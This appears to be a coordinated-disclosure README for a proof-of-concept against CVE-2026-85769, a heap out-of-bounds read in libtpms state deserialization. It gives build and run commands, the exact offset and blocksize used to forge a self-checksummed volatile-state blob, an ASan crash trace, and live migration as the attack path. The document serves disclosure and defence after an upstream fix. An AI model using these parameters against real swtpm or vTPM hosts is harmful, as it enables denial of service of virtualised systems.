
Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob.
Heap out-of-bounds read in libtpms TPM 2.0 volatile-state deserialization.
An unbounded optional-block skip in block_skip_read() advances the unmarshal cursor by an attacker-controlled 16-bit length and drives the signed remaining-size counter negative. Every downstream bounds check then passes, because they cast that signed value to unsigned. A forged, self-checksummed volatile-state blob fed through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) produces a heap out-of-bounds read and aborts the process hosting libtpms — swtpm, in a vTPM deployment.
| CVE | CVE-2026-85769 |
| Component | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion) |
| Affected | master f7f072b2, v0.10.2 03ff2481, and earlier releases carrying this code |
| Fixed | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate) |
| Reported | 2026-09-01, privately to the maintainer |
block_skip_read() skips an optional versioned block by advancing the parse cursor, without checking the length against the bytes remaining:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size is signed. Once negative, the guard in front of every scalar read stops working:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
The further past the allocation the parse runs, the more negative *size becomes — and the larger it looks unsigned. The same file already has the correct form in Array_Unmarshal, which compares signed.
The only integrity gate is an unkeyed SHA-1 appended to the blob (src/tpm2/Volatile.c), so the PoC recomputes it after tampering.
Reached through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) and the power-on restore chain TPMLIB_MainInit → _TPM_Init → VolatileLoad.
In an swtpm deployment the relevant path is live migration — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination host parses a state blob produced on the source host. A configured --migration-key does not mitigate this: the key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It defends against an interposed third party, not against a hostile peer.
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 is sized so the cursor lands in ASan's redzone rather than on a wild pointer:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
Offset 173 is the has_block byte of the ORDERLY_DATA skip_future_versions trailer. It was located by instrumenting block_skip_read() to print the offset during a parse, not by counting bytes — the offset shifts with the state format, so re-derive it if your blob length differs from 8778.
Note that skip_self_heal_timer is not a usable trailer: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h means it is emitted with needs_block = TRUE and takes the safe branch.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
The fault surfaces in UINT16_Unmarshal, not in block_skip_read — the skip advances the cursor and returns without reading. The corruption lands on the next structure read.
Against the fixed commit, every attack case returns TPM_RC_INSUFFICIENT (0x9a) with no ASan report, and valid blobs still restore with rc=0.
Denial of service of the process hosting libtpms, plus undefined behaviour.
Information disclosure was tested and ruled out. Small overshoots on a non-ASan build return TPM_RC_BAD_TAG (0x1e) every time:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
The read immediately after the overshoot is an NV_HEADER, whose 32-bit magic must match a fixed constant. Adjacent heap satisfies that with p ≈ 2⁻³². The parse aborts, ClearAllCachedState() discards everything, and no out-of-bounds bytes reach TPMLIB_GetState. Confidentiality is therefore C:N. Red Hat's review reached the same conclusion independently.
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
This PoC is published after the issue was fixed upstream and the CVE was assigned. It targets a local build of an open-source library and does nothing beyond triggering the parse. Only test what you are authorised to test.
MIT
| Date |
|---|
| 2026-09-01 | Reported privately to the libtpms maintainer |
| 2026-09-04 | Same root cause reported publicly and independently by Leyao (ICT CAS) as libtpms issue #614 |
| 2026-09-04 | Fixed upstream in 9e1475ff (PR #613); fix verified against this PoC |
| 2026-09-04 | Reported to Red Hat Product Security |
| 2026-09-04 | CVE-2026-85769 assigned |